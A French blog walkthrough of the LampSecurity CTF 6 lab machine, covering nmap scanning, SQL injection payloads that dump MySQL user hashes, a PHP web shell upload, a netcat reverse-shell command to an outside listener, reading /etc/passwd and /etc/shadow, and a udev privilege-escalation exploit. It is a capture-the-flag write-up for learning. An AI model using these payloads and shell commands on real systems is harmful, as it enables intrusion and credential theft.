Mysterie

IT Security researcher, bug hunter, code breaker

LampSecurity CTF 6

28 Jul 2009 » security

Je me suis attaqué à l’épreuve proposée par lampsecurity. Le principe est de faire tourner une machine virtuelle et de la rooter. Si le challenge vous intéresse, c’est ici. Il y a aussi une solution en pdf. Je propose une autre solution ici, si vous n’avez pas fait l’épreuve, essayez là avant de lire ce qui suit.

Pour l’installation de l’épreuve, j’ai utilisé VMware player 2.5.2 build-156735
Pour la mise en place, la carte réseau virtuelle est en mode bridged (Devices->Network adapteur->Bridged) ensuite il suffit de lancer la machine et c’est parti. Le mode bridged induit le fait que la machine sera sur le réseau local. Comme je travaille sous windows, je commence par un:

ipconfig /all
Masque de sous-réseau . . . . . . : 255.255.255.0
Passerelle par défaut . . . . . . : 192.168.1.1
Serveur DHCP. . . . . . . . . . . : 192.168.1.1

Ensuite on lance Nmap pour localiser la machine:

nmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.1.0/24

Chez moi son ip est 192.168.1.114, puis je scanne les ports:

nmap -p 1-65535 -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.1.114

Étant une épreuve ciblée sur apache & co, le seul port ouvert est le port 80/http. On se rend sur le site web et après quelques tests, on se rend compte que le site est criblé de failles: upload, sql injection, etc. http://192.168.1.114/index.php?id=1 OR 1=1 affiche tout les events.

Ensuite, on essaye de comprendre comment est structurée la requête. On peut interagir avec 3 champs, apparemment 2,3,7, pour récupérer des informations.
?id=1 UNION SELECT 1,user(),database(),4,5,6,@@VERSION ce qui nous donne:

  • user: cms_user@localhost
  • Version du serveur sql : 5.0.45
  • Table utilisée: cms

Ensuite je me suis intéressé à la base information_schema pour avoir une vue globale de la base de données. Par exemple, ?id=1 UNION SELECT 1,2,3,4,5,6,SCHEMA_NAME from information_schema.schemata nous indique que la base de données ressemble à ça:

  • information_schema
  • cms
  • mysql
  • roundcube
  • test
?id=1 UNION SELECT 1,Host,User,4,5,6,Password from mysql.user
root@localhost : 6cbbdf9b35eb7db1 -> mysqlpass
cms_user@% : 2e0cfd856355b099 -> 45kkald?8laLKD

On peut aussi scanner les répertoires du site où on trouve le fichier http://192.168.1.114/sql/db.sql d’où on récupère des infos sur la table cms.user, ce qui nous donne le pass admin du site. (on remarquera au passage qu’il y a des sessions stockées dans la BDD…).

admin : 25e4ee4e9229397b6b17776bfceaf8e7 -> adminpass
On se log donc et on profite de l’upload d’image non filtré. Les images sont stockées dans files/. Hop on upload un script php avec un system($cmd). On en a fini pour la partie web, le plus intéressant arrive:

uname -a
Linux 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
fred:x:502:502::/home/john:/bin/bash

On ne peut pas se loger avec apache ni utiliser passwd pour nous créer un compte ssh. J’upload un netcat compilé sur une autre box vu que le script d’upload filtre rien. C’est la solution la plus simple à mon goût.

Coté attaquant  : C:\\>nc -v -l -p 2501
Coté victime    : ?cmd=./netcat -e /bin/sh 192.168.1.111 2501

On a un shell, il nous reste plus qu’a élever nos privilèges sur la cible. La faille vmsplice ne donne rien, udev par contre, l’exploitation est un peu complexe. J’ai eu recours à la solution proposée par lampsec. En gros, le sploit a besoin d’un pid qu’on ne peut pas retrouver précisément. On se base sur ça:

cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
cfc43c00 0   3153   00000111 0        0        00000000 2
cfecce00 0   0      00000000 0        0        00000000 2
cf5f8000 6   0      00000000 0        0        00000000 2
cf54b800 7   0      00000000 0        0        00000000 2
ce733e00 9   2467   00000000 0        0        00000000 2
cfe4f000 9   0      00000000 0        0        00000000 2
cfe46c00 10  0      00000000 0        0        00000000 2
cfbecc00 11  0      00000000 0        0        00000000 2
cfc43a00 15  571    ffffffff 0        0        00000000 2 <-- ici
cfeccc00 15  0      00000000 0        0        00000000 2
cfbeca00 16  0      00000000 0        0        00000000 2
cfcf0200 18  0      00000000 0        0        00000000 2

Le pid utilisé dans l’exploit devrait être 571-1. En réalité, ça a fonctionné avec le pid 573 donc n’hésitez pas à faire plusieurs tests… J’ai modifié le script de la faille udev car nous n’avons pas de shell interactif, juste une connexion avec netcat. J’ai donc copié les fichiers /etc/shadow & /etc/passwd avec les droits de lecture pour apache. Ensuite, on crack les pass obtenus à l’aide de John the ripper, ce qui donne un résultat assez rapidement.
fred : fred1989

On peut donc maintenant se loger en ssh et profiter d’un vrai shell. On relance le sploit udev en le modifiant encore pour ne pas avoir d’erreur d’accès en écriture/lecture (celui-ci utilise des liens hardcodés donc /tmp/suid est inaccessible. On modifie donc /tmp/suid par /tmp/suidBis). On relance le sploit modifié avec cette fois-ci un execl(“/bin/sh”, “sh”, NULL); et on obtient notre shell avec les droits root!

Il y a sûrement d’autres solutions, comme au niveau de roundcube ou des sessions!